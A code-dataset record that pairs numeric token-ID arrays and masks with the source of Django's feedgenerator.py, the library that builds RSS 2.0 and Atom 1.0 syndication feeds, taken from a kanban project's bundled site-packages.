291, 14, 3250, 63, 808, 275, 756, 267, 291, 14, 1037, 275, 756, 267, 291, 14, 5582, 275, 488, 339, 347, 17284, 63, 1419, 8, 277, 304, 267, 340, 291, 14, 5582, 436, 440, 291, 14, 1037, 26, 288, 746, 31484, 8, 355, 298, 13757, 675, 1553, 1037, 367, 1553, 5582, 370, 1172, 11150, 2, 288, 776, 267, 340, 291, 14, 1506, 63, 694, 365, 488, 26, 288, 2088, 275, 291, 14, 362, 63, 19231, 63, 1531, 360, 1506, 358, 288, 291, 14, 1506, 63, 694, 275, 747, 14, 515, 14, 904, 8, 1760, 14, 1506, 63, 1095, 12, 283, 1301, 2686, 358, 267, 340, 440, 291, 14, 2686, 63, 694, 26, 288, 291, 14, 2686, 63, 694, 275, 298, 2686, 2, 267, 340, 440, 291, 14, 908, 26, 288, 291, 14, 908, 275, 298, 3065, 2, 339, 347, 1255, 8, 277, 304, 267, 327, 1240, 1900, 15882, 370, 1900, 9149, 267, 291, 14, 1065, 63, 1531, 480, 1506, 63, 8008, 531, 267, 2088, 275, 291, 14, 362, 63, 19231, 63, 1531, 480, 1506, 63, 8008, 531, 267, 1350, 63, 694, 275, 2088, 14, 5649, 63, 1375, 63, 694, 398, 327, 1331, 370, 2082, 543, 5827, 536, 267, 2917, 275, 291, 14, 4972, 267, 14972, 63, 354, 275, 2071, 83, 13, 4757, 3295, 83, 2, 450, 334, 2686, 14, 362, 63, 354, 1062, 2917, 14, 362, 63, 1023, 1012, 267, 3529, 63, 694, 275, 747, 14, 515, 14, 904, 8, 277, 14, 1506, 63, 694, 12, 14972, 63, 354, 9, 267, 340, 747, 14, 515, 14, 2444, 8, 2791, 63, 694, 304, 288, 2935, 63, 1974, 14, 2168, 63, 2350, 8, 2791, 63, 694, 12, 9951, 63, 1065, 29, 277, 14, 10481, 63, 1065, 9, 267, 291, 14, 1574, 63, 2350, 8, 1365, 63, 694, 12, 3529, 63, 694, 12, 11211, 63, 19522, 29, 549, 9, 398, 327, 1852, 6359, 687, 2935, 267, 14972, 63, 1095, 275, 747, 14, 515, 14, 904, 8, 277, 14, 2686, 63, 694, 12, 14972, 63, 354, 9, 267, 291, 14, 9912, 63, 1501, 275, 291, 14, 1875, 63, 6404, 8, 9912, 63, 1095, 12, 291, 14, 908, 12, 6343, 291, 14, 1506, 63, 694, 9, 398, 327, 6632, 340, 5839, 267, 340, 291, 14, 1037, 26, 288, 30067, 63, 589, 275, 2097, 21284, 401, 4320, 14481, 13, 1037, 401, 3905, 65, 401, 291, 14, 9912, 63, 1501, 61, 288, 340, 291, 14, 5582, 26, 355, 30067, 63, 589, 59, 18, 26, 18, 61, 275, 22448, 1832, 13, 751, 401, 291, 14, 5582, 61, 288, 15187, 8, 21284, 63, 589, 12, 2116, 9951, 63, 1065, 29, 277, 14, 10481, 63, 1065, 9, 398, 327, 9058, 267, 340, 440, 291, 14, 3250, 63, 808, 26, 288, 2935, 63, 1974, 14, 2168, 63, 2350, 8, 2791, 63, 694, 12, 9951, 63, 1065, 29, 277, 14, 10481, 63, 1065, 9, 199, 199, 14813, 9152, 199, 3, 29403, 199, 14813, 9152, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 4229, 1414, 370, 1900, 1382, 14, 3065, 570, 624, 199, 14813, 9152, 199, 3, 8925, 199, 14813, 9152, 199, 3, 6170, 199, 646, 747, 199, 504, 7065, 492, 2935, 63, 1974, 199, 504, 7065, 14, 1760, 492, 5817, 199, 504, 7065, 14, 2550, 492, 627, 199, 504, 7065, 14, 10212, 492, 15187, 199, 3, 2257, 199, 363, 452, 363, 275, 359, 272, 298, 1301, 2686, 2, 199, 61, 199, 14813, 9152, 199, 3, 1414, 199, 14813, 9152, 199, 533, 1382, 2686, 8, 3110, 304, 339, 1369, 275, 298, 981, 3482, 570, 3035, 18042, 3517, 9149, 2, 339, 922, 63, 1419, 275, 359, 267, 661, 1506, 13, 694, 4009, 488, 12, 283, 3425, 2082, 659, 267, 661, 2686, 13, 694, 4009, 283, 68, 297, 268, 298, 3619, 370, 5324, 314, 1350, 4084, 6359, 8, 83, 9, 315, 298, 268, 7369, 885, 26, 2917, 31937, 267, 661, 908, 4009, 283, 70, 297, 268, 298, 6404, 1475, 370, 1218, 334, 5369, 12, 1315, 5369, 12, 486, 90, 5369, 12, 3482, 13185, 267, 661, 1037, 297, 283, 83, 297, 283, 1037, 1584, 1808, 30067, 659, 267, 661, 5582, 4009, 283, 73, 297, 283, 8225, 39, 8503, 1202, 370, 2070, 1584, 659, 272, 1622, 339, 347, 8265, 63, 1419, 8, 277, 304, 267, 291, 14, 1506, 63, 694, 275, 488, 267, 291, 14, 2686, 63, 694, 275, 488, 267, 291, 14, 908, 275, 488, 267, 291, 14, 3250, 63, 808, 275, 756, 267, 291, 14, 1037, 275, 756, 267, 291, 14, 5582, 275, 488, 339, 347, 17284, 63, 1419, 8, 277, 304, 267, 340, 291, 14, 5582, 436, 440, 291, 14, 1037, 26, 288, 746, 31484, 8, 355, 298, 13757, 675, 1553, 1037, 367, 1553, 5582, 370, 1172, 11150, 2, 288, 776, 267, 340, 291, 14, 1506, 63, 694, 365, 488, 26, 288, 2088, 275, 291, 14, 362, 63, 19231, 63, 1531, 360, 1506, 358, 288, 291, 14, 1506, 63, 694, 275, 747, 14, 515, 14, 904, 8, 1760, 14, 1506, 63, 1095, 12, 283, 1301, 2686, 358, 267, 340, 440, 291, 14, 2686, 63, 694, 26, 288, 291, 14, 2686, 63, 694, 275, 298, 2686, 2, 267, 340, 440, 291, 14, 908, 26, 288, 291, 14, 908, 275, 298, 3065, 2, 339, 347, 1255, 8, 277, 304, 267, 327, 1240, 1900, 15882, 370, 1900, 9149, 267, 291, 14, 1065, 63, 1531, 480, 1506, 63, 8008, 531, 267, 2088, 275, 291, 14, 362, 63, 19231, 63, 1531, 480, 1506, 63, 8008, 531, 267, 1350, 63, 694, 275, 2088, 14, 5649, 63, 1375, 63, 694, 398, 327, 1331, 370, 2082, 543, 5827, 536, 267, 2917, 275, 291, 14, 4972, 267, 14972, 63, 354, 275, 2071, 83, 13, 4757, 3295, 83, 2, 450, 334, 2686, 14, 362, 63, 354, 1062, 2917, 14, 362, 63, 1023, 1012, 267, 3529, 63, 694, 275, 747, 14, 515, 14, 904, 8, 277, 14, 1506, 63, 694, 12, 14972, 63, 354, 9, 267, 340, 747, 14, 515, 14, 2444, 8, 2791, 63, 694, 304, 288, 2935, 63, 1974, 14, 2168, 63, 2350, 8, 2791, 63, 694, 12, 9951, 63, 1065, 29, 277, 14, 10481, 63, 1065, 9, 267, 291, 14, 1574, 63, 2350, 8, 1365, 63, 694, 12, 3529, 63, 694, 12, 11211, 63, 19522, 29, 549, 9, 398, 327, 1852, 6359, 687, 2935, 267, 14972, 63, 1095, 275, 747, 14, 515, 14, 904, 8, 277, 14, 2686, 63, 694, 12, 14972, 63, 354, 9, 267, 291, 14, 9912, 63, 1501, 275, 291, 14, 1875, 63, 6404, 8, 9912, 63, 1095, 12, 291, 14, 908, 12, 6343, 291, 14, 1506, 63, 694, 9, 398, 327, 6632, 340, 5839, 267, 340, 291, 14, 1037, 26, 288, 30067, 63, 589, 275, 2097, 21284, 401, 4320, 14481, 13, 1037, 401, 3905, 65, 401, 291, 14, 9912, 63, 1501, 61, 288, 340, 291, 14, 5582, 26, 355, 30067, 63, 589, 59, 18, 26, 18, 61, 275, 22448, 1832, 13, 751, 401, 291, 14, 5582, 61, 288, 15187, 8, 21284, 63, 589, 12, 2116, 9951, 63, 1065, 29, 277, 14, 10481, 63, 1065, 9, 398, 327, 9058, 267, 340, 440, 291, 14, 3250, 63, 808, 26, 288, 2935, 63, 1974, 14, 2168, 63, 2350, 8, 2791, 63, 694, 12, 9951, 63, 1065, 29, 277, 14, 10481, 63, 1065, 9, 199, 199, 14813, 9152, 199, 3, 29403, 199, 14813, 9152, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
ecrespo/django_kanban-agile
kanban/lib/python2.7/site-packages/django/utils/feedgenerator.py
104
16370
""" Syndication feed generation library -- used for generating RSS, etc. Sample usage: >>> from django.utils import feedgenerator >>> feed = feedgenerator.Rss201rev2Feed( ... title="Poynter E-Media Tidbits", ... link="http://www.poynter.org/column.asp?id=31", ... description="A group Weblog by the sharpest minds in online media/journalism/publishing.", ... language="en", ... ) >>> feed.add_item( ... title="Hello", ... link="http://www.holovaty.com/test/", ... description="Testing." ... ) >>> with open('test.rss', 'w') as fp: ... feed.write(fp, 'utf-8') For definitions of the different versions of RSS, see: http://web.archive.org/web/20110718035220/http://diveintomark.org/archives/2004/02/04/incompatible-rss """ from __future__ import unicode_literals import datetime from django.utils import datetime_safe, six from django.utils.encoding import force_text, iri_to_uri from django.utils.six import StringIO from django.utils.six.moves.urllib.parse import urlparse from django.utils.timezone import is_aware from django.utils.xmlutils import SimplerXMLGenerator def rfc2822_date(date): # We can't use strftime() because it produces locale-dependent results, so # we have to map english month and day names manually months = ('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec',) days = ('Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun') # Support datetime objects older than 1900 date = datetime_safe.new_datetime(date) # We do this ourselves to be timezone aware, email.Utils is not tz aware. dow = days[date.weekday()] month = months[date.month - 1] time_str = date.strftime('%s, %%d %s %%Y %%H:%%M:%%S ' % (dow, month)) if six.PY2: # strftime returns a byte string in Python 2 time_str = time_str.decode('utf-8') if is_aware(date): offset = date.tzinfo.utcoffset(date) timezone = (offset.days * 24 * 60) + (offset.seconds // 60) hour, minute = divmod(timezone, 60) return time_str + '%+03d%02d' % (hour, minute) else: return time_str + '-0000' def rfc3339_date(date): # Support datetime objects older than 1900 date = datetime_safe.new_datetime(date) time_str = date.strftime('%Y-%m-%dT%H:%M:%S') if six.PY2: # strftime returns a byte string in Python 2 time_str = time_str.decode('utf-8') if is_aware(date): offset = date.tzinfo.utcoffset(date) timezone = (offset.days * 24 * 60) + (offset.seconds // 60) hour, minute = divmod(timezone, 60) return time_str + '%+03d:%02d' % (hour, minute) else: return time_str + 'Z' def get_tag_uri(url, date): """ Creates a TagURI. See http://web.archive.org/web/20110514113830/http://diveintomark.org/archives/2004/05/28/howto-atom-id """ bits = urlparse(url) d = '' if date is not None: d = ',%s' % datetime_safe.new_datetime(date).strftime('%Y-%m-%d') return 'tag:%s%s:%s/%s' % (bits.hostname, d, bits.path, bits.fragment) class SyndicationFeed(object): "Base class for all syndication feeds. Subclasses should provide write()" def __init__(self, title, link, description, language=None, author_email=None, author_name=None, author_link=None, subtitle=None, categories=None, feed_url=None, feed_copyright=None, feed_guid=None, ttl=None, **kwargs): to_unicode = lambda s: force_text(s, strings_only=True) if categories: categories = [force_text(c) for c in categories] if ttl is not None: # Force ints to unicode ttl = force_text(ttl) self.feed = { 'title': to_unicode(title), 'link': iri_to_uri(link), 'description': to_unicode(description), 'language': to_unicode(language), 'author_email': to_unicode(author_email), 'author_name': to_unicode(author_name), 'author_link': iri_to_uri(author_link), 'subtitle': to_unicode(subtitle), 'categories': categories or (), 'feed_url': iri_to_uri(feed_url), 'feed_copyright': to_unicode(feed_copyright), 'id': feed_guid or link, 'ttl': ttl, } self.feed.update(kwargs) self.items = [] def add_item(self, title, link, description, author_email=None, author_name=None, author_link=None, pubdate=None, comments=None, unique_id=None, unique_id_is_permalink=None, enclosure=None, categories=(), item_copyright=None, ttl=None, updateddate=None, **kwargs): """ Adds an item to the feed. All args are expected to be Python Unicode objects except pubdate and updateddate, which are datetime.datetime objects, and enclosure, which is an instance of the Enclosure class. """ to_unicode = lambda s: force_text(s, strings_only=True) if categories: categories = [to_unicode(c) for c in categories] if ttl is not None: # Force ints to unicode ttl = force_text(ttl) item = { 'title': to_unicode(title), 'link': iri_to_uri(link), 'description': to_unicode(description), 'author_email': to_unicode(author_email), 'author_name': to_unicode(author_name), 'author_link': iri_to_uri(author_link), 'pubdate': pubdate, 'updateddate': updateddate, 'comments': to_unicode(comments), 'unique_id': to_unicode(unique_id), 'unique_id_is_permalink': unique_id_is_permalink, 'enclosure': enclosure, 'categories': categories or (), 'item_copyright': to_unicode(item_copyright), 'ttl': ttl, } item.update(kwargs) self.items.append(item) def num_items(self): return len(self.items) def root_attributes(self): """ Return extra attributes to place on the root (i.e. feed/channel) element. Called from write(). """ return {} def add_root_elements(self, handler): """ Add elements in the root (i.e. feed/channel) element. Called from write(). """ pass def item_attributes(self, item): """ Return extra attributes to place on each item (i.e. item/entry) element. """ return {} def add_item_elements(self, handler, item): """ Add elements on each item (i.e. item/entry) element. """ pass def write(self, outfile, encoding): """ Outputs the feed in the given encoding to outfile, which is a file-like object. Subclasses should override this. """ raise NotImplementedError('subclasses of SyndicationFeed must provide a write() method') def writeString(self, encoding): """ Returns the feed in the given encoding as a string. """ s = StringIO() self.write(s, encoding) return s.getvalue() def latest_post_date(self): """ Returns the latest item's pubdate or updateddate. If no items have either of these attributes this returns the current date/time. """ latest_date = None date_keys = ('updateddate', 'pubdate') for item in self.items: for date_key in date_keys: item_date = item.get(date_key) if item_date: if latest_date is None or item_date > latest_date: latest_date = item_date return latest_date or datetime.datetime.now() class Enclosure(object): "Represents an RSS enclosure" def __init__(self, url, length, mime_type): "All args are expected to be Python Unicode objects" self.length, self.mime_type = length, mime_type self.url = iri_to_uri(url) class RssFeed(SyndicationFeed): mime_type = 'application/rss+xml; charset=utf-8' def write(self, outfile, encoding): handler = SimplerXMLGenerator(outfile, encoding) handler.startDocument() handler.startElement("rss", self.rss_attributes()) handler.startElement("channel", self.root_attributes()) self.add_root_elements(handler) self.write_items(handler) self.endChannelElement(handler) handler.endElement("rss") def rss_attributes(self): return {"version": self._version, "xmlns:atom": "http://www.w3.org/2005/Atom"} def write_items(self, handler): for item in self.items: handler.startElement('item', self.item_attributes(item)) self.add_item_elements(handler, item) handler.endElement("item") def add_root_elements(self, handler): handler.addQuickElement("title", self.feed['title']) handler.addQuickElement("link", self.feed['link']) handler.addQuickElement("description", self.feed['description']) if self.feed['feed_url'] is not None: handler.addQuickElement("atom:link", None, {"rel": "self", "href": self.feed['feed_url']}) if self.feed['language'] is not None: handler.addQuickElement("language", self.feed['language']) for cat in self.feed['categories']: handler.addQuickElement("category", cat) if self.feed['feed_copyright'] is not None: handler.addQuickElement("copyright", self.feed['feed_copyright']) handler.addQuickElement("lastBuildDate", rfc2822_date(self.latest_post_date())) if self.feed['ttl'] is not None: handler.addQuickElement("ttl", self.feed['ttl']) def endChannelElement(self, handler): handler.endElement("channel") class RssUserland091Feed(RssFeed): _version = "0.91" def add_item_elements(self, handler, item): handler.addQuickElement("title", item['title']) handler.addQuickElement("link", item['link']) if item['description'] is not None: handler.addQuickElement("description", item['description']) class Rss201rev2Feed(RssFeed): # Spec: http://blogs.law.harvard.edu/tech/rss _version = "2.0" def add_item_elements(self, handler, item): handler.addQuickElement("title", item['title']) handler.addQuickElement("link", item['link']) if item['description'] is not None: handler.addQuickElement("description", item['description']) # Author information. if item["author_name"] and item["author_email"]: handler.addQuickElement("author", "%s (%s)" % (item['author_email'], item['author_name'])) elif item["author_email"]: handler.addQuickElement("author", item["author_email"]) elif item["author_name"]: handler.addQuickElement("dc:creator", item["author_name"], {"xmlns:dc": "http://purl.org/dc/elements/1.1/"}) if item['pubdate'] is not None: handler.addQuickElement("pubDate", rfc2822_date(item['pubdate'])) if item['comments'] is not None: handler.addQuickElement("comments", item['comments']) if item['unique_id'] is not None: guid_attrs = {} if isinstance(item.get('unique_id_is_permalink'), bool): guid_attrs['isPermaLink'] = str( item['unique_id_is_permalink']).lower() handler.addQuickElement("guid", item['unique_id'], guid_attrs) if item['ttl'] is not None: handler.addQuickElement("ttl", item['ttl']) # Enclosure. if item['enclosure'] is not None: handler.addQuickElement("enclosure", '', {"url": item['enclosure'].url, "length": item['enclosure'].length, "type": item['enclosure'].mime_type}) # Categories. for cat in item['categories']: handler.addQuickElement("category", cat) class Atom1Feed(SyndicationFeed): # Spec: http://atompub.org/2005/07/11/draft-ietf-atompub-format-10.html mime_type = 'application/atom+xml; charset=utf-8' ns = "http://www.w3.org/2005/Atom" def write(self, outfile, encoding): handler = SimplerXMLGenerator(outfile, encoding) handler.startDocument() handler.startElement('feed', self.root_attributes()) self.add_root_elements(handler) self.write_items(handler) handler.endElement("feed") def root_attributes(self): if self.feed['language'] is not None: return {"xmlns": self.ns, "xml:lang": self.feed['language']} else: return {"xmlns": self.ns} def add_root_elements(self, handler): handler.addQuickElement("title", self.feed['title']) handler.addQuickElement("link", "", {"rel": "alternate", "href": self.feed['link']}) if self.feed['feed_url'] is not None: handler.addQuickElement("link", "", {"rel": "self", "href": self.feed['feed_url']}) handler.addQuickElement("id", self.feed['id']) handler.addQuickElement("updated", rfc3339_date(self.latest_post_date())) if self.feed['author_name'] is not None: handler.startElement("author", {}) handler.addQuickElement("name", self.feed['author_name']) if self.feed['author_email'] is not None: handler.addQuickElement("email", self.feed['author_email']) if self.feed['author_link'] is not None: handler.addQuickElement("uri", self.feed['author_link']) handler.endElement("author") if self.feed['subtitle'] is not None: handler.addQuickElement("subtitle", self.feed['subtitle']) for cat in self.feed['categories']: handler.addQuickElement("category", "", {"term": cat}) if self.feed['feed_copyright'] is not None: handler.addQuickElement("rights", self.feed['feed_copyright']) def write_items(self, handler): for item in self.items: handler.startElement("entry", self.item_attributes(item)) self.add_item_elements(handler, item) handler.endElement("entry") def add_item_elements(self, handler, item): handler.addQuickElement("title", item['title']) handler.addQuickElement("link", "", {"href": item['link'], "rel": "alternate"}) if item['pubdate'] is not None: handler.addQuickElement('published', rfc3339_date(item['pubdate'])) if item['updateddate'] is not None: handler.addQuickElement('updated', rfc3339_date(item['updateddate'])) # Author information. if item['author_name'] is not None: handler.startElement("author", {}) handler.addQuickElement("name", item['author_name']) if item['author_email'] is not None: handler.addQuickElement("email", item['author_email']) if item['author_link'] is not None: handler.addQuickElement("uri", item['author_link']) handler.endElement("author") # Unique ID. if item['unique_id'] is not None: unique_id = item['unique_id'] else: unique_id = get_tag_uri(item['link'], item['pubdate']) handler.addQuickElement("id", unique_id) # Summary. if item['description'] is not None: handler.addQuickElement("summary", item['description'], {"type": "html"}) # Enclosure. if item['enclosure'] is not None: handler.addQuickElement("link", '', {"rel": "enclosure", "href": item['enclosure'].url, "length": item['enclosure'].length, "type": item['enclosure'].mime_type}) # Categories. for cat in item['categories']: handler.addQuickElement("category", "", {"term": cat}) # Rights. if item['item_copyright'] is not None: handler.addQuickElement("rights", item['item_copyright']) # This isolates the decision of what the system default is, so calling code can # do "feedgenerator.DefaultFeed" instead of "feedgenerator.Rss201rev2Feed". DefaultFeed = Rss201rev2Feed
mit
[ 624, 199, 17746, 21171, 4733, 10152, 3555, 1553, 1202, 367, 12999, 30331, 12, 5423, 14, 199, 199, 8176, 4503, 26, 199, 199, 6071, 687, 1639, 14, 1208, 492, 4733, 4679, 199, 6071, 4733, 275, 4733, 4679, 14, 50, 385, 1797, 4964, 18, 7658, 8, 199, 1396, 258, 2538, 628, 1575, 1236, 351, 662, 13, 11398, 377, 344, 5609, 401, 199, 1396, 258, 2142, 628, 1014, 921, 1544, 14, 555, 1236, 351, 14, 1308, 15, 2301, 14, 20222, 31, 344, 29, 2192, 401, 199, 1396, 258, 1369, 628, 33, 1572, 6001, 793, 701, 314, 1033, 285, 321, 270, 333, 18212, 315, 18470, 5898, 15, 7067, 19185, 15, 4763, 316, 4765, 199, 1396, 258, 2637, 628, 287, 401, 199, 1396, 776, 199, 6071, 4733, 14, 525, 63, 1053, 8, 199, 1396, 258, 2538, 628, 6257, 401, 199, 1396, 258, 2142, 628, 1014, 921, 1544, 14, 526, 320, 16305, 89, 14, 957, 15, 396, 10665, 199, 1396, 258, 1369, 628, 9029, 2122, 199, 1396, 776, 199, 6071, 543, 1551, 360, 396, 14, 13614, 297, 283, 87, 358, 465, 4090, 26, 199, 1396, 258, 4733, 14, 952, 8, 3997, 12, 283, 1624, 13, 24, 358, 199, 199, 1858, 10269, 402, 314, 3365, 5459, 402, 30331, 12, 1937, 26, 199, 1014, 921, 2520, 14, 6404, 14, 1308, 15, 2520, 15, 1797, 7555, 7663, 1276, 11174, 15, 1014, 921, 28021, 442, 676, 1096, 14, 1308, 15, 28067, 15, 15431, 15, 996, 15, 966, 15, 31787, 13, 13614, 199, 624, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 2197, 199, 199, 504, 1639, 14, 1208, 492, 2197, 63, 3489, 12, 3816, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 12, 24086, 63, 475, 63, 2302, 199, 504, 1639, 14, 1208, 14, 4174, 492, 5228, 199, 504, 1639, 14, 1208, 14, 4174, 14, 4912, 14, 4078, 14, 1122, 492, 7097, 199, 504, 1639, 14, 1208, 14, 7145, 492, 365, 63, 14600, 199, 504, 1639, 14, 1208, 14, 1652, 1208, 492, 5870, 82, 4317, 7599, 421, 199, 318, 18158, 29736, 63, 602, 8, 602, 304, 272, 327, 2136, 883, 1133, 675, 14053, 342, 2952, 652, 16904, 5867, 13, 7106, 2058, 12, 880, 272, 327, 781, 1172, 370, 2341, 20171, 1891, 5794, 436, 5382, 1561, 10250, 272, 20096, 275, 661, 19825, 297, 283, 27717, 297, 283, 10570, 297, 283, 33, 2700, 297, 283, 15586, 297, 283, 42, 324, 297, 283, 42, 348, 297, 283, 21640, 297, 283, 23337, 297, 283, 17584, 297, 283, 1944, 86, 297, 283, 8584, 9538, 272, 7609, 275, 661, 6671, 297, 283, 52, 310, 297, 283, 55, 379, 297, 283, 2719, 85, 297, 283, 22533, 297, 283, 22332, 297, 283, 22546, 358, 272, 327, 12502, 2197, 2251, 12731, 2419, 5851, 383, 272, 1434, 275, 2197, 63, 3489, 14, 1222, 63, 2083, 8, 602, 9, 272, 327, 2136, 886, 642, 26495, 370, 506, 7137, 20381, 12, 3031, 14, 7535, 365, 440, 5823, 20381, 14, 272, 366, 583, 275, 7609, 59, 602, 14, 12451, 5106, 272, 5794, 275, 20096, 59, 602, 14, 4482, 446, 413, 61, 272, 900, 63, 495, 275, 1434, 14, 6205, 3508, 83, 12, 11539, 68, 450, 83, 11539, 57, 11539, 40, 2689, 5, 45, 2689, 5, 51, 283, 450, 334, 68, 583, 12, 5794, 430, 272, 340, 3816, 14, 4521, 18, 26, 3777, 327, 14053, 2529, 282, 3696, 1059, 315, 2018, 499, 267, 900, 63, 495, 275, 900, 63, 495, 14, 2708, 360, 1624, 13, 24, 358, 272, 340, 365, 63, 14600, 8, 602, 304, 267, 3268, 275, 1434, 14, 9374, 14, 24036, 8, 602, 9, 267, 7137, 275, 334, 2743, 14, 4899, 627, 5504, 627, 5212, 9, 435, 334, 2743, 14, 4515, 5001, 5212, 9, 267, 6925, 12, 12709, 275, 16438, 